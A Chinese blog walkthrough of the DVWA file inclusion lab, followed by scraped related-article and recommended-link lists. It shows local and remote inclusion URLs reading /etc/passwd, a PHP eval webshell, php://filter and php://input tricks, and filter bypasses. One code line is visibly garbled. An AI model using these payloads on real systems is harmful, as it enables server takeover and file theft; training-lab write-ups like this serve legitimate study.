日期:2019-07-28 20:58:29
更新:
作者:Bay0net
介绍:


0x01、 漏洞介绍

文件包含时,不管包含的文件是什么类型,都会优先尝试当作 php 文件执行。

如果文件内容有 php 代码,则会执行 php 代码并返回代码执行的结果。

如果文件内容没有 php 代码,则把文件内容打印出来。

0x02、Low Security Level

查看源码

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

服务器获取 page 的值,没有进行任何过滤。

文件包含

# 原 URL
http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php # 本地文件包含,读文件(绝对路径 或 相对路径)
http://127.0.0.1:81/vulnerabilities/fi/?page=/etc/passwd
http://127.0.0.1:81/vulnerabilities/fi/?page=../../../../../etc/passwd # 远程文件包含
http://127.0.0.1:81/vulnerabilities/fi/?page=http://www.baidu.com

获取 shell

本地文件包含一句话木马,木马所在文件为 /tmp/1.txt,内容如下

<?php @eval($_POST["gg"]); ?>

伪协议读文件

0x01 所述,所有的 php 文件都会当成代码来执行,所以无法读取源码,如果 flagphp 文件中,那么我们就需要想办法来读取 flag

# 直接读取,PHP 代码直接执行
http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php # 利用伪协议读取源码
http://127.0.0.1:81/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

复制出来第一行,然后直接 base64 解码即可。

伪协议 执行命令

利用的是 php://input 伪协议。

URL: http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
POST:<?php phpinfo(); ?>

0x03、Medium Security Level

查看源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
$file = ( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file ); ?>

过滤了一些东西,array 里面的就是。

绕过方法

1、使用绝对路径绕过。

2、使用的是 str_replace() 函数,可以使用重写的方式绕过

htthttp://p:// -> http://
..././ -> ../

0x04、High Security Level

查看源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>

满足以下两个条件,则报错:

  1. 传过来的 page 里面没有 file*
  2. $file 不等于 include.php

绕过方法

1、使用伪协议绕过。

http://127.0.0.1:81/vulnerabilities/fi/?page=file:///etc/passwd

2、URL 包含关键字

# 此种方式无法绕过这个题,如果是 *file* 就能绕过了。。
http://vps.ip:9090/file.html

0x05、Impossible Security Level

查看源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>

写死了文件名,无解。。。

0x06、Reference

PHP fnmatch() 函数 | 菜鸟教程

PHP str_replace() 函数

DVWA-文件包含学习笔记 - 雨中落叶 - 博客园

【DVWA】File Inclusion(文件包含漏洞)通关教程的更多相关文章

  1. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  2. DVWA之File Inclusion(文件包含)

    目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...

  3. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  4. DVWA各级文件包含漏洞

    File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...

  5. DVWA File Inclusion 通关教程

    File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...

  6. 文件包含漏洞File Inclusion

    文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...

  7. 文件包含漏洞(file inclusion)

    文件包含漏洞原理:(php) 是指当服务器开启allow_url_include选项的时候,通过php某些特性函数.如include().include_once().require().requir ...

  8. php文件包含漏洞 file inclusion vulnerability

    0x00 何为文件包含漏洞 开发人员如果在写类似include "a.php"的代码时,如果将a.php写成了可变的值,那么就可以在上面做文章,举个理想的例子: <? inc ...

  9. 文件包含漏洞(DVWA环境中复现)

    LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> 可以看到,low级别的代码对包含的文件 ...

  10. 本地文件包含漏洞(LFI漏洞)

    0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...

随机推荐

  1. 为Redis设置登录密码并使用密码登录

    https://www.cnblogs.com/756623607-zhang/p/6859540.html 密码登录Redis redis-cli -h 127.0.0.1 -p 6379 -a & ...

  2. [易学易懂系列|rustlang语言|零基础|快速入门|(15)|Unit Testing单元测试]

    [易学易懂系列|rustlang语言|零基础|快速入门|(15)] 实用知识 Unit Testing单元测试 我们知道,在现代软件开发的过程中,单元测试对软件的质量极及重要. 今天我们来看看Rust ...

  3. Centos 7搭建Gitlab服务器以及操作(创建项目,创建群组,创建用户,添加密钥)

    一. 安装并配置依赖包 在CentOS系统上安装所需的依赖:ssh,防火墙,postfix(用于邮件通知) ,wget,以下这些命令也会打开 系统防火墙中的HTTP和SSH端口访问 安装前准备 命令: ...

  4. H5 2次重定向301

    测试环境http ,生产https,导致请求重定向.加之H5自己的一次请求重定向,一共2次.

  5. Prometheus+Granfana

    二.虚机(服务器)方式prometheus在虚机(服务器)中安装运行. 命令行启动在安装完成以后,可以直接在命令行启动.启动方式通常是: ./prometheus --config.file=prom ...

  6. jdk1.8环境变量配置

    JAVA_HOME=/usr/java/jdk1.8.0_45PATH=$JAVA_HOME/bin:$PATHCLASSPATH=.:$JAVA_HOME/jre/lib/ext:$JAVA_HOM ...

  7. php和http协议

    http协议:电脑与电脑,网络与网络之间传输需要的一些条件: 比如网线互联,能相互找到ip地址(tcp/ip: b/s结构一定要遵循http协议): 报文都要有报头,要给谁传数据,要传什么数据,传什么 ...

  8. 【leetcode】1266. Minimum Time Visiting All Points

    题目如下: On a plane there are n points with integer coordinates points[i] = [xi, yi]. Your task is to f ...

  9. JS框架_(Progress.js)圆形动画进度条

    百度云盘 传送门 密码: 6mcf 圆形动画进度条效果: <!DOCTYPE html> <html lang="en"> <head> < ...

  10. Linux上Redis安装和简单操作

    Redis redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sorte ...